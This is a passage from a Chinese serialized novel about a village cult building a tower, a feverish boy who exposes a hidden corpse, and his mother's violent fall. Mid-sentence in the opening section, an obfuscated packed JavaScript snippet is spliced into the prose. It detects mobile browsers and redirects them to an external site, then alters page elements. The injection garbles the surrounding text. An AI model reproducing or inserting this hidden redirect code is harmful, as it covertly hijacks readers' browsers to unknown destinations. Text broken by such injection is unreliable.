老校长看着墙上悬挂的“诲人不倦”字帖,其实另有一副配套的“天道酬勤”,它因为一次大雨偶然泡了水,纸张变得皱巴巴的,便常年被老校长收在柜子里。现在它重见天日,纸面的凹凸已经被压平,基本不易察觉了,老校长看着这张字,就觉得自己看到了中学的明天,一个褶皱不可避免,但终将被抹平的明天。 同样如释重负的还有李春生,阻碍他往水中继续深入的红线已经完全交到了慧慧手上,现在,他要去叫醒小白菜了。 从中学前往神婆子家中的路程只需要沿着清溪河自西向东的河岸一直走,等到天师登临塔在视野中露出一半的塔身,就差不多到了神婆子的家门口。如今,这条河岸上充斥着心情激动的人们,他们没有一刻不在想象着高塔建成的那一天,万金花将如何登上高台,成为与神明平起平坐的仙人,而自己也将沐浴这荣光,获得前所未有的幸福生活,他们都是这样期盼着的。 也许是觉得空手穿行在人群中有些显眼,李春生选择了走屋顶上的路。虽然二十多年的时间跨度对现在的我来说弹指一瞬,但我还是得说,距离我上一次看到吉祥天师本来的样子,已经过去很久了。钟磬的乐声终于久违地响起来,他走得不快,路上的很多人都在逐渐超过他。 在我们的身后,躲藏着季青山的移动堡垒正逐渐远离成为一个点,河岸上的人络绎不绝。凡是能走路的小孩,现在没有一个待在父母的臂弯里,他们得到了不加拘束的自由,躲在路边,扒着门缝偷看忙碌的大人们;每一个能做手工活儿的女人也都陷入异常的忙碌,在登临塔落成之前,她们需要准备好八十八匹绣着祥云、仙鹤、松树、锦桃、游鱼等一切祥瑞图案的布匹送到登临塔上,为此,有人的指关节上迅速生出新的茧子,有人的眼睛是一点点地看不清了;男人们呢,属于他们的就是体力活,山羊坡向阳面的土,一整截的坚硬木头,石料,还有一切能为登临塔添砖加瓦的建筑工具。 在悦耳的乐音之外,我们还听到遥远的劳动号子,小孩窃窃私语的笑声,还有各种杂乱的叮叮当当,叮叮当当。 李春生没有为他们停留,他只是在赶路的途中偶尔往身边瞥一眼,直到他终于站在万金花的屋顶上时,才面对着远处的登临塔沉默了很久。 那时候我从山羊坡上远远地望向他,我们之间的距离让我自然地想起矮墙即将倒塌的那个下午,他好像也是这样站在屋顶上,我有些记不清了,时间带走了太多东西。 李春生朝山羊坡这边望了一眼,然后跃下了屋顶。 万金花正在享受午睡,看着小白菜咽下哑药之后,她终于连续几日都能睡上安稳觉了。而小白菜的睡眠仍在带给他源源不断的痛苦,头上的橡皮筋和紧箍咒似的让他脑袋疼,抽搐只是降低了频率,并没有完全停止。 小白菜不断地看到灰色的天花板,苍绿的水面,还有殷红的晚霞,它们交替出现,让小白菜分不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132741|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清哪个是现实,哪个是幻觉。忽然这一切聚拢到一起成为刺眼的白色,他只好闭上眼睛,疼痛却消失了。 小白菜醒来,觉得自己正漂浮在空中,芳香的气味使他感到安宁祥和。他的头正枕在什么人的大腿上,那人跪坐在自己脑后的位置俯视着他。 “如意冠……念珠……重瞳……眼下痣……你不是人,你是吉祥天师。”小白菜动了动嘴唇说道,“你来接我了吗?” 李春生捧着小白菜的脸,“你觉得我要接你去哪儿?” “呵呵呵呵……”躺着的孩子笑起来,“天师,我的妈妈给我灌下了哑药,看见你我却还能说话,说明我就要死啦,只有死人才能自由地说话。” “你要是真的死了,来接你的就不是我。” “你想说的是燃灯星君吗?我还没有见到他的脸呢。可是天师,星君接走的都是凡人,我是小白菜,要成仙的小白菜,当然不是由他来接了。” 李春生问他:“你很希望我来接走你吗?” “呵呵呵呵……天师,明月庄里没有哪个人不想和你走的,我们和你早就是一体的了。” 这是事实,一桩痛苦的事实。李春生告诉小白菜:“你要是想和我走,还没有到时候。” “那要到什么时候?” “小白菜,你忘了吗?你在人间的使命还没有完成。” 他不断出汗的脑袋动了动,“哦,你说的是那个。我已经做好了完全的准备,可惜被这高烧绊住了脚步,还有我的妈妈万金花对我百般阻挠。天师,实不相瞒,这还得感谢我的老师,他是个聪明人,没有他,我还真走不到这一步呢。” “你的准备是什么呢?麻烦你亲口告诉我吧。” 小白菜忽然感到自己浑身充满了力气,但四肢还是无法动弹,只有一张嘴灵活地开合,“第一,我的预言是真的,瘸子死了,他丑陋的尸体就埋在南边,走过竹林和磨面的地方往左拐,再走到底就能找到他了。第二,我得到了老师的赐名,现在我的妈妈不再是明月庄唯一一个姓万的人了。第三,也就是天师你交给我的任务,我在登临塔里找到了那个纵火犯和他的凶器,说来真是惭愧,他就是我的父亲李得彩。我好像是知道了什么不得了的事,那天之后我就被困在这具身躯里不能动了,还让万金花给我灌下了哑药。” “你做得很好。”李春生把右手盖在小白菜的喉咙处,“我知道你采纳了老师的建议,打算让这三件事共同出现,成为你最有力的武器把万金花击垮,对不对?” “是啊,是啊,可是我现在连命都快没了。” “所以今天我来了,小白菜,高烧不完全是坏事,他让你避免了更多的纷争。你和万金花的斗法还没有结束呢,是继续下去的时候了。” “真的吗?”小白菜觉得身子更加轻了,眉头却沉下去,“可是天师,我现在是个躺在床上说不了话的废人,我的妈妈已经胜券在握啦。” “这不是还有我吗?”李春生抬起右手,取下了发冠中的簪子,他的手轻轻一掸,如意冠就掉到地上,细长尖利的一端垂直对准小白菜的咽喉,那孩子的眼神里透出慌张,“天师,你这是要做什么?” 李春生的左手往下伸,托住小白菜的下巴让他完全地仰起头,脖颈就毫无保留地袒露着,在簪子落下之前,李春生垂下头问了一句:“小白菜,你去成仙的时候,打算用什么祭品?” 小白菜想起曾对历史老师说过的话,但这能当着天师的面说吗?他不知道,也不确定李春生问这话究竟是什么意思,他已经站在生死的边缘,决不允许自己犯下错误。 李春生却笑了笑,“请把你的老师带来吧,就像你对他说过的那样。好了,醒来吧。” 簪子精准地刺入了小白菜的喉咙。 床上的孩子停止了抽搐,橡皮筋在脑门上勒出一圈清晰的痕迹,在长时间的昏迷之后,小白菜终于睁开了眼睛。 他无声地坐起来,看到窗外已是大雪纷飞。 38.弃子 小白菜坐在空房间里,只听见屋里一台老式钟表滴滴答答的声音,还有从窗缝里透进来的,外面雪片落到地上细微的沙沙声。橡皮筋把他的脑袋箍得阵阵发疼,取下以后也残留着清晰的印痕。他看向窗外,雪花如同棉絮般飘洒下来,小白菜惊奇地发现,世界在他眼中被还原成了本来的面目—— 他看到的是六边形的固态水,以数不清的微观形态落到地面上。他由骨头、血液、肌肉和神经系统组成的身躯正呆坐在木板制成的床上,墙壁是石灰与水的混合物,裂缝中塞进了几粒植物的种子。他的大脑清楚地知道这些东西的用途,却怎么也无法将他们看作一个整体,这里的一切都和他一样孤零零的。 小白菜本能地望向外面的柜子,他的记忆中那上面应当有一尊吉祥天师的神像,将为他解答当前的疑惑。可那里哪儿有神像啊?小白菜看到的不过是一抔人形的黄土。 屋里现在只有他一个人,小白菜却觉得热闹极了,因为他从没见过这样的家。虽然熟悉的神像不见踪影,但他抚摸着黄土之下的立柜,看到木头截面上的纹理好像花朵,像祥云,也像水流,灰尘已经嵌入了这些纹理,这令小白菜感到愤怒。他又摸了摸墙壁,瞬间就看清了其中砖块的堆叠方式,这些砖的质量一般,只能算勉强合格。 小白菜的脑海中浮现出一个想法:我要是成了仙,才不会住在这简陋的屋子里。 他正想开口的时候就想到了那瓶哑药的口感,躺在床上不能动弹的时候他只能想到苦和酸,但现在小白菜非常清楚万金花调配它的配方,从添加原料的顺序到各自的比例,都像说明书一般在小白菜的眼前展开。 他摸了摸自己的喉咙,并没有任何特殊的感觉,他看清了世间万物却看不清自己,小白菜的心头闪过一瞬即逝的悲哀。 “也许有一天这药也会被送到我妈妈的嘴里。”小白菜这样想到,脸上就露出微笑。不过现在不是配药的时候,他向屋外走去,没有穿鞋,光着脚踩在雪地里,顷刻间身体的不同部位就呈现出不同的颜色。他冒汗的额头是通红的,身体是橙黄色,埋在雪里的双脚泛着蓝绿的光芒,还有门外结了冰的清溪河,它整个都是深蓝色的。 小白菜径直朝着他生活过一段时间的墙壁走去,上面的壁画早就消失不见了,但他还能从墙面的凹凸中发现砖石的粉末,小白菜很喜欢砖石的颜色,好像火药。 “没关系,没关系,壁画已经完成了他的使命,使我得到了最后的答案。”小白菜在心里默念道,“壁画呀壁画,火药似的砖石粉末绘就了你,也就让你成了重磅的炸药。炸吧,炸吧,把这里的旧世界全都炸个粉碎,就留给我一个崭新的明月庄。壁画呀壁画,我不会让你白白消失,未来的史书上,你就是一切的先兆。” 小白菜在心里为这段话谱好了曲,等着以后它被传遍大江南北。当他即将踏出家门的时候,耳边的风带来了登临塔处欢庆的声音。不同的音色被分解为频率不同的音波,在小白菜眼前翻着花绳,他一把就从中揪出了属于万金花的那一条,“抓到你了。”小白菜很高兴。 在这场大雪落下的三天前,明月庄的广场上,天师登临塔的塔身就已经修建完成。在神婆子宣布闭关的日子里,人们忠实地扮演着自己的角色,无需上位者的监督,他们也会自觉地为修塔奉献全部的时间。明月庄共有二十六位石匠,四十六位木匠,三十三位漆匠,还有心甘情愿的男女老少们齐心协力,总算是赶在年底之前完成了塔身的重建。对这一过程感触最深的应当是塑像师傅李得彩,他在高台上看着头顶的天光越来越少,越来越暗,直到砖石围成的墙壁合上了天顶的眼。 李得彩在那一刻同样闭上了眼,他伸出手抚摸自己未完的作品,把脸贴上去喃喃自语道:“你也是个可怜人。”他投降了似的扔下画笔爬下高台,打着赤脚站在莲花台上时,外面的人们就冲进来抓着他的胳膊,“得彩师傅,你今天真积极!” “我积极什么?” “塔修完了,该找万婆子来做个开场的法事!”领头的那个哈哈大笑,“我们还以为得上高台去把你请下来呢!这不就简单了吗!” 李得彩从喉咙里发出呜呜的声音,他好几天都没有和人正常说话,嗓音都变得沙哑了,“塔还没修完呢!” 领头的先是一愣,随后恍然大悟,“哦对对对,看我这个脑子,把《千年万代引》中的话都忘记了。这尊新的天师像还没有从您的手上完成,当然不能说修完了。那这法事就更不能少了你!” 李得彩已经厌倦了与拜神的仪式有关的一切,他会主动下来只为一个目的,“你们快点弄完,别耽误我塑像。” 人群如同猴子般吵闹着,他们也学着万金花过去的样子在地上整齐排列好鞭炮,砰砰砰地依次放了,宣告这里近一年来的成果成功落地。 现在,小白菜在属于万金花的那条声波里还听到了酒瓶酒杯丁零当啷的声响,以及她那套行头随着身体摆动而发出的簌簌声。据万金花所说,三百八十二年前旧塔修成的时候,天师登临塔的名字随着信纸飞到天南海北,把所有在外远行的明月庄人全都叫回了家。他们的马匹和轿子排起长队,供奉的香火在塔前的炉里烧了整整半年。 “明月庄的老祖宗们送来金满箱,银满箱,翡翠珠玉填满了登临塔墙上的每个神龛,那就是明月庄最辉煌的时候啦!”神婆子坐在莲花台上,为新一代的人们讲述这个故事,“你们都不知道,那个时候吉祥天师的神像上,脖子上的珠链,手腕上的玉镯,还有头顶金光闪闪的发冠,全都是真家伙呢。”说到这里她瞟了一眼旁边的李得彩,人们为她的丈夫披上红绸,打扮得活像个新娘子。 先前领头的那个问万金花,“婆子,那我们现在怎么比不上三百多年以前了?” “你不长脑子的吗!”神婆子捡起小土块往他的头上丢,“早都说了,天师闭关休养生息,这才把庄子里的大小事交给了神婆子。现在,天师即将回归,我神婆子的使命也就要圆满完成,为了褒奖我的功劳,天师就降下了登仙的诗文,让我与他同归仙道。而你们,天师当然也没有忘记,你们得到的嘉奖,就是能过上金满箱,银满箱的好日子!” 人群沸腾起来,个个都觉得修塔真是件划得来的买卖。 万金花站起来,“现在登临塔就只剩下最后一步,那就是这中央的伟大塑像,这是吉祥天师在人间的化身,也是他归来的居所。现在全都要交到李得彩的手上!” 包裹着红绸的塑像师傅皱着眉头,他觉得人们异常吵闹,让他无法静下心来思考下一步如何落笔。 “去呀!”万金花抬起腿踹了那个脑子不太灵光的领头一脚,他就屁颠屁颠地从被称为“仓库”的小平房里拖出一个铁笼子,里面装着早就准备好的几只兔子。神婆子拎着耳朵提起一只来,拿出一把剪刀“咵嚓”剪掉了白兔的一只耳朵,领头的冲上去帮助她按住挣扎中的兔子,神婆子提起柴刀“咔嚓”砍下了白兔的一条右前腿。他们放开兔子,任由它在地上抽搐,人们看着神婆子用兔耳朵卷起兔腿,再用一条红绳绑好固定,兔腿关节处淌出的兔血被涂在李得彩的手掌心。 “张嘴。”万金花把那截兔腿横着放到李得彩的嘴边,塑像师傅顺从地咬住它,从这一刻开始,到他完成塑像的最后一个细节打磨为止,这截兔腿都不能从他的嘴里离开。 神婆子很满意,“这就对了,这就对了。还愣着,去拜啊!” 从广场边缘到莲花台前的一百米,李得彩在所有人的围观下三步一叩首,兔血沿着他的下巴滴到胳膊上。下了雪的地面有点滑,他差点就摔了个大跟头,但他不能摔,谁都知道向天师叩拜的路途不能出差错,有了就要从头来过。李得彩走得很慢,慢到他可以轻易地想到万金花已经在压抑心中的怒火。 但抛开必要的仪式,李得彩在今天也是真心地在敬仰着吉祥天师。什么有求必应的神明,李得彩不在乎,他只觉得莲花台上的,是和他一样得不到自由身的可怜虫。 李得彩一路叩拜,一路所想的,是希望一切妨碍他投入创作的因素尽快消失。 他终于走到了最后一步,很多人都已经被他弄得不耐烦了,万金花就是其中之一。神婆子毫不掩饰对丈夫的鄙夷,“你瘸了吗?”她嘟囔着,转脸就笑盈盈地去和人们开坛饮酒。 于是小白菜就在家门口的风里闻到了米酒的芳香分子,他从中分辨出了五种不同的酒,都是万金花到了大日子才舍得拿出来的东西。 “哦妈妈,你连这些好东西都拿出来与人分享了,看来你是真的觉得安全了。”小白菜浮现出这样的想法,“没关系,你就继续畅饮吧,反正你很快就喝不到了。” 雪停了。院子里不再有小白菜的影子。 李春生坐在办公室里望着雪后耀眼的太阳,他向来喜欢这样的好天气。不是寻常的晴天,而是雨后或是雪后的放晴,我曾问他这二者的区别在哪里。他伸出手碰了碰窗户里透出的光线说道:“区别在于,后者更加珍贵。” 不过他今天没有机会好好享受这阳光了,小季老师跑进来告诉他,“春生哥,小白菜在校门口。” 李春生等待这一刻很久了。小季老师把学生们都带回了教室,李春生就站在办公室的门外,看到小白菜柱子似的立在那里。他身上的衣服应当是自己从衣柜里扒出来穿上的,胡乱套在一起,和堆了几年的旧蛇皮袋没什么两样。他的脸庞因为赶路过来而变得通红,手指头裸露在外也和红萝卜似的。 李春生本以为他会先开口说些什么,但小白菜还没有意识到自己已经恢复了说话的能力,他只是沉默地站着,等待历史老师先一步走向他。 李春生蹲下来对小白菜说:“雪地里太冷了,我们去教室吧。” 小白菜点了点头。李春生从雪里抱起他的时候也像是拔起一根萝卜,皮肤上还带着一些冰碴子。教室里头也没有暖和多少,由于是空教室的缘故就更加阴冷些,李春生把小白菜放在椅子上,一边关好窗户一边说:“你生了好一场大病。” 小白菜觉得手指头渐渐能动了,在椅子上窸窸窣窣地扭动了一会儿,心里头充满了埋怨,“何止是一场大病,我差一点就死掉啦。” “老师还以为你整个学期都来不了了呢。” 小白菜在心里回答道:“就算我来不了,也是被人给陷害啦!要不是我仙缘深种,肯定活不到这个时候了,春生老师,你不知道我走到这里有多艰苦。” 李春生从小白菜的身后走近,“那你今天过来,一定有什么重要的事要告诉我吧?”他取了一把椅子坐在小白菜的对面,“老师能帮你什么?” 小白菜的双手终于完全解冻了,他在心里咒骂着今年的冬天,他的手指关节动起来都要吱呀地响了,仿佛他已经成了一个木头人。他从外套当中摸索出一条长长的红绸带,和登临塔那边披在李得彩身上的是同一种,红色的丝线在手上缠了又缠,再被他手嘴并用地打上一个难看的结。 正当小白菜拿起另一头向李春生走来的时候,历史教师指着他的脖颈说:“小白菜,你这里怎么多了一颗痣?” “痣?我哪里来的痣?明月庄人人都知道,神婆子家的小白菜,从保胎仙娘娘的金白菜当中来,浑身上下没有一颗痣,也没有一点胎记,初到人世间就全身不染尘埃,哪里来的痣呢?”带着疑惑,小白菜冲上前去攀着李春生的脖子,迫使他垂下头与他对视。 小白菜看到了,就在李春生的瞳孔映出的影像里,他看到手上绑着红布的自己仰着脑袋,脖颈正中央赫然存在着一颗朱砂痣。这当然是新长出来的,就在他醒来以后。他思索这颗痣出现的位置,不正与梦中吉祥天师的发簪落下的位置一模一样吗? 小白菜终于松了手咯咯地笑起来,仍在心中想着:“真的,是真的。妈妈,你也没有想到吧,你的药的确让我变成了可怜的哑巴,但我才是真正受到天师庇佑的人,他还了我开口言语的能力,这朱砂痣才是真的神迹,而不是你那弄虚作假的诗文!”他觉得心中顿时发热,“火,是火啊,遮天蔽日的山火!妈妈,我心中的这团火烧起来了,可就不会停下来了。它要一直烧,一直烧,烧到把你们所有曾对我弃如敝履的人都烧干净为止呢!” 李春生扯了扯红布,“这条红布是用来做什么的?” 这可有着大用场。小白菜没有因为这突然的狂喜改变原先的计划,而是让它成为了更关键的筹码。他笑着举起红布,将另一段缠绕在李春生的手掌上,打了一个死结。 现在他们终于像血脉相连的两个人了。 李春生问道:“你需要我帮你做什么?” 小白菜先是摸了摸自己脖子上的朱砂痣,再用食指敲敲嘴唇,指向李春生,右手抓了抓空气,他的老师就心领神会,“你想让我替你开口,做你的翻译官吗?” 于是那孩子抓紧了红绸带,牵着李春生一前一后往瘸子的埋尸地走去。 李春生回头望了一眼,我明白他的意思是这件事该让明月庄的所有人都知道。庄子里现在最热闹的地方就是登临塔,可我是李有福的儿子,身份决定了我承袭的罪孽,是没有资格靠近登临塔一步的。 “我早说了吧,你们还是离不开我。”慧慧走过来说道,“做饭去吧,记得给我另做一份冬笋炖咸肉,等我回来吃。”说罢就去扮演她的传话人了。慧慧跑得飞快,眨两下眼就只能看见一个摇晃的黑点了,我本想叫住她的,因为现在距离午饭的时间太短,她点的这道菜会太咸。 明月庄的田埂里行走着一前一后的一大一小,小白菜嘴里欢快地哼着歌,李春生听了出来时摇篮曲的调子,因此胃痛便好了些。 小白菜的记性不错,他按照记忆中我曾告诉过他的地址一步步走去。他看到地上的六角雪花在接触到皮肤的瞬间化成了水,脚底下的部分则被踩实压紧,与更深层的泥土混合,变得不再洁白而是染上了黄黑的颜色。他觉得在雪地里行走同样也是在水中跋涉,因为这二者的本质相同,而土地也就与神像的本质相同,他亲近脚下的土地也就是亲近了吉祥天师,这是脱离了神像形体束缚的信仰,是信仰的本来面目。想到这里,小白菜忽然伏下身子去拨开积雪,用脸蛋贴了贴冰冷的地面。 他们继续向前行走,李春生沿着小白菜踩出的脚印走着,他意识到小白菜是要将要向人们展示瘸子的尸体,来证明他的预言。但现在不是时候,登临塔还没有建成,他也就无法如愿以偿地死去。于是李春生说:“小白菜,你大病初愈就直接来找我,想必还是为了你成仙的事吧?” 小白菜用哈哈大笑来表示赞同。与此同时他张开双臂,尽情享受着冬日的阳光。 “我知道你的手上有三张牌,但今天你就要全部打出吗?”李春生忽然拽紧了手中的绸带问道。 小白菜歪着脑袋,显然是对他的话有所不解。李春生解释道:“小白菜,你别忘了,老师教你的对策是二大于一,你并不需要把所有的牌都拿出来。你带我走的路与登临塔的方向相反,你的名字也不需要我做什么翻译,那么应该是领我去看你的预言吧?不过老师的想法是,不管你找到的放火真凶是谁,等到了登临塔真正落成的那一天再揪他出来,到时候真凶,宏伟的登临塔,要成仙的你,未来辉煌灿烂的明月庄,那样的四喜临门才更好呢,你说是不是?” 学生把食指含在嘴里思索着,李春生又往前推了一步,“所以老师认为,你应该暂时放弃揭露纵火真相这枚棋。” 一条黄狗从李春生的背后经过,它湿润的狗鼻子在积雪的土地上不断嗅闻,从小白菜身边走过时,它摇了摇尾巴。这正是睡在瘸子家里舔舐他脚趾头的黄狗,现在它前进的方向与李春生他们一致。小白菜像是有所预感似的,指着黄狗的脚印,示意他们应该跟着走。 他们当然会跟着走了,黄狗就是李春生悄悄叫过来的,就和李池的山羊一样。它的四只爪子踩在雪地上沙沙沙沙地响,舌头甩在嘴边流口水,它已经很久没有从主人家吃到饱餐了,任何气味都能引诱它快步前行。 和黄狗一样踏着急促步伐的还有万金花。广场上的宴饮被小白菜在田野间行走的消息无情地打破了,神婆子的五官扭曲,在大冬天瞬间就出了汗。那个没脑子的领头人还大声说道:“天呐,好事排着队敲门呢!” 万金花抄起就被砸了他的脑袋,一抹脸就冲过来抓着慧慧的肩膀问她:“他在哪儿!在哪儿?” “就在西边呢,田里只有他们两个人,一过去就瞧见了。婆子你真神,小白菜现在就和没生过病一样呢。” “苍天呐。”神婆子念叨了一句,就抛下塔前的人们往西边去了。少了她这主心骨,人们也像是手串断了线,一时间不知该如何自处了,只有李得彩,仍然口中含着兔腿三步一叩首地跪拜着。 领头的喊道:“去啊,都去啊,待在这儿干什么?” 于是那天的明月庄就呈现出一派热带草原般的景象:惊慌失措的人们跟在精神紧绷的万金花身后,疑问接着疑问,脚印覆盖脚印,他们视线的另一头则是雪白的田野上,一条红绸带连接起李春生与小白菜的命运,带领他们缓缓前进着 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“呀!这死狗,几天不见,原来跑来这里了!”领头的见到了自家狗,很是不解它为何出现在这里。而黄狗接下来的举动就让他觉得还不如不开这个口。 狗爪子再次沙沙沙沙地挪动了几步,在一片平坦的空地上,黄狗开始刨土。首先扬起来的就是雪花,不一会儿那儿就成了一个脏水潭,其次被刨起来的就是坚硬的泥土,在冬季它结了冰,把狗爪子都磨破了,人们看到脏水潭里有了血丝。 “这狗在挖宝呢?”领头的凑上前去,黄狗刨得卖力,但也只挖开了表层,他兴致勃勃地撸起了袖子,参与到挖宝的队伍中。 小白菜放开万金花的胳膊,转而握住她的食指把她引到土坑前面。 李春生转述小白菜的想法,“万婆子,小白菜想让你看看这里的东西。” 不祥的预感从万金花心里爬出,但还没来得及反应,土坑里就冒出了难闻的气味,所有人都捂住了口鼻,领头的凑得最近,已经在一旁的地上呕吐起来。 “什么宝贝能这么臭啊!”人群发出疑问,谁都不敢再靠近了。只有那黄狗继续兢兢业业地刨着土,直到一截连着烂肉的白骨露出了面目。黄狗更加兴奋了,他好像是找到了可以饱腹的食物,咬住白骨就拼命地往外拽。它真该感谢它的好主人带领大家为他刨松了土,令白骨并不费力地就出了土坑。 “天爷呀!” 他早已腐烂得不成人样了,抹布似的一点烂肉连着骨头,气味招来乌泱泱的飞虫,眼窝深陷下去像两个山洞,右腿有着明显的裂纹,只有穿的衣服倒还能看出本来的模样。 小白菜咯咯地笑了,李春生说:“万婆子,这衣服,是的确良吧?” 我和慧慧在田边的一处的屋顶上,看见万金花踉跄了一下,还是李春生扶了她一把。明月庄的人们都是火药,的确良这个词就是火星,它从李春生的嘴里蹦出来,噼啪一声就能把这里炸得四分五裂。 “的确良?的确良!”有个胆大的上前去确认了这一事实。领头的擦擦嘴爬过来,“的确良?瘸子真的死了啊?小白菜……小仙童真能未卜先知!” 小白菜来回摆动脑袋,嘴里又唱起了歌。他透过母亲的皮肤看到血液高速流动,全身的器官都高负荷地运转着,很快就连带着她的皮肤开始发热发红。万金花已经在这种状态下生活了太久,她做梦都希望不再有这样的时刻。她的美梦在小白菜高烧不醒的时间里短暂实现了几个月,如今现实卷土重来,她已经分不清是腐烂的尸骨还是当前的处境令她喘不上来气了。 不过她还有点儿力气,万金花一把钳住了小白菜的脖子将他拎起来,“你真是来害我命的讨债鬼!”那孩子像个布娃娃似的在空中摇晃,李春生连忙抱住他,另一只手卡住万金花的手腕,给小白菜留出了一点呼吸的空间。 “他会被你掐死的!”李春生说。 “我就是要扭断他的脖子!” 慧慧上前两步,有些担心土坑旁的情况,“要过去吗?”在我看来这虽然有些危险,但还称不上紧急。最重要的是,如果事情真的超出李春生的预期,他应当向我们投来一个眼神。但他没有。 “不用。”我说。 “小白菜妈妈,他快不能呼吸了!” “你再这么称呼我一次试试!”万金花浑身的汗毛忽然都竖起来,她感到肠胃痉挛,但能肯定不是因为闻到了尸骨腐烂发出的臭味,而是李春生口中的这个称呼。初次听到的时候她忍了下来,但现在她的厌恶如同火山喷发。在蝇虫不断聚集的空地上,万金花站在信徒中间,毅然决定对这个称呼做出激烈的反抗。 那她十几岁时独自讨来的生活算什么,她手上李金泉的血算什么,她为了不必再睡在雪里袒露的脊背算什么,她大半辈子的殚精竭虑又算什么。为了让小白菜站在自己的肩膀上,轻而易举地获得她拼了命才得来的东西吗? 不是的。万金花想着。 她虽然是对着李春生露出了狰狞的面目,头脑却很清楚自己要反对的并不是这个年轻的中学教师,而是“母亲”这个身份给她带来的重重阻碍。她反对的是过去犹豫不决的自己,和所有将她与小白菜看成一个不可分割的整体的人们。 她掐住小白菜的脖子就像是要把身上的这块烂肉切割下来似的,地上的人们无不惊恐地看着这一切,他们不敢确定这三人中到底是谁疯了。争执中,李春生终于揭膏药似的把小白菜从万金花身上揭开,万金花由着惯性往后一仰险些又摔了,嘴巴倒还是厉害,“你抢去吧!我巴不得你俩才是一家子,以后死得一样难看!” “那要是你刚才掐死了他,也要这样来杀了我吗?” 我也是在李春生说出这句以后才觉得不对劲的。但万金花的反应比我和慧慧都快,她朝李春生大吼着:“你当我不敢吗!”我已经用了最快的速度拨开人群,万金花的长指甲还是在李春生的脖子上留下了三道血痕。 她的指甲断了一个,小白菜手上的红绸带也散开了,像一个成熟的果子掉到了地上。我和慧慧都摁着李春生的胳膊,他却始终没有朝我们中的任何一个看过来,他只是出神地盯着小白菜,脸上浮现出醉酒的状态。我感到害怕,因为在万金花朝李春生毫不掩饰地露出杀意时,我看到他的脖颈微微扬起。 瘸子散发着恶臭的尸骨渐渐地无人在意了,人们都开始关心神婆子母子俩的交锋。黄狗钻了空绕过来开始撕扯骨头上的烂肉。 小白菜恢复了呼吸,他从地上爬起来,万金花血脉上涌整个人都高烧般得烫,她的力气用了大半,但愤怒从未平息。她再次朝着小白菜扬起了手。 “妈妈!”小白菜终于开了口。他清脆嘹亮的声音让在场的所有人都听得清清楚楚。 只有万金花的耳边是模糊的。她的手停在半空,大脑一片恍惚。努力地想要分辨刚才那是什么声音。的确有人开了口,但怎么会是小白菜的声音呢?他明明就吞下了哑药,这声音不可能是他发出来的,难道是有人冒充了他吗?这个人怎么可能做到和小白菜的声音一模一样?那难道是这个中学的老师用了什么手段? “妈妈!”小白菜再次喊道,这下万金花彻底看清了声音的来源就是小白菜的嘴巴,她的面色瞬间变得铁青。 “妈妈!我知道你的脊背上铭刻着登仙的诗文,那上面写的是‘黄天仙道万家门’。可是妈妈,在这明月庄里,可不只有你一个人姓万呀,嘿嘿嘿嘿嘿……” 万金花说不出话来,她不能质问小白菜为什么没有变成哑巴,违背常理的事实长出尖刺,从内部分裂她的肌肤。 领头的喊起来,“可是明月庄,就只有万婆子姓万呀!” “嘿嘿嘿嘿……”小白菜说,“我求你们快点去翻翻明月庄的千秋家谱,看看那上面写着的,神婆子万金花除了有李金铃,李银铃两个姑娘,是不是还有个叫做万寿予的小儿子。” 万金花的手垂下来了,她看着天空落下了眼泪。人们往东天师庙里去查证这件事的时候,万金花发出自嘲般的一声笑,也缓缓地转身离开了,不过她并没有往庙里去的打算,而是径直朝着登临塔的方向去。 河边只留下我们四个,黄狗趴着尸骨上饱餐,小白菜开始唱“月亮爬上呐小山岗”的曲调,他抓着红绸带绕在食指上,和他的老师长久地对视着,朱砂痣就像是李春生脖颈上渗出的一滴血。 “找到啦!找到啦!万寿予!小白菜就是万寿予!他也姓万呐!” 铃铛不合时宜地响了。 39.一样的雪 金铃儿披着白麻布坐在门口的时候,才发现万金花其实没有印象中那么高大。她和银铃儿搬不动床,李得彩在高台上含着兔腿摇摇头表示他不来,于是万金花就被她的两个女儿拖到了春凳上放着。她只比春凳长出半条小腿,无奈地伸到外面耷拉着,银铃儿把她往另一侧拖了拖,就连头也是半仰着的了。 家里冷冷清清的,倒不是没有人来,而是来的人都不知道要和这两姐妹说什么,也不知道要对万金花说什么。人们面对突如其来的事情时,总是没有什么话要说的。他们大多数进了门,就在草垫上跪着拜一拜,有些还能叹口气,有些转身就走了。 金铃儿也不在乎他们怎么做,她在一旁的长凳上慢慢地叠纸元宝,一个一个扔到纸箱子里等着一会儿拿出去烧。有人进来她并不抬头看一眼。银铃儿在她身旁晃腿,“她配不上你给她叠元宝。” 金铃儿折好一个,注视着万金花湿漉漉的脸庞说:“总不能就让她死在外面吧。” “外面还是里面有什么区别,不都是咽了气,没了命吗?” 金铃儿说:“人总要在家里的。” 银铃儿想了一会儿说:“那以后我得死在你旁边,别的地方都不是家。” 金铃儿没有搭话,屋里只剩下她叠纸元宝发出的细碎声响,蜡烛燃烧的气味有点难闻,银铃儿去打开了窗。她看到不远处的围墙上又站着小白菜,他顺着围墙的走向一点点远离,朝着登临塔的方向靠近,有人群闹哄哄的声音从那边传过来。 “他们又像狗一样了。”银铃儿说。 人世间的喧闹传不到万金花的耳朵里,她在河边坐着,表现出前所未有的安静,好像连铃铛的声音也听不见,我摇响了数下她也不回头。我正要过去叫她的时候,李春生却过来了,他在我背后说:“星君通融几分钟吧,我有话要和她说。” 我本打算接走万金花之后再与他谈谈先前的事,既然来了,现在问清楚也好,“你刚才是怎么回事?” “什么事?”李春生似乎没明白我问的是什么。 “你不是真的打算在那里被万金花杀了吧?塔还没修完呢。”我说。小白菜才刚刚醒来,他掘墓人的身份还没能好好履行,登临塔也还剩下最后的步骤,中学还有事未了,按照李春生设想的计划,他绝不能死在一切尘埃未定的时候。 “你是说这个啊。”他低下了头,似乎很愧疚,“我忘记了。抱歉。” 我不清楚他在抱歉什么,我只想知道原因,“忘记了?是忘了这里还有很多事没有结束,还是忘了可以向我和慧慧发个信号?” 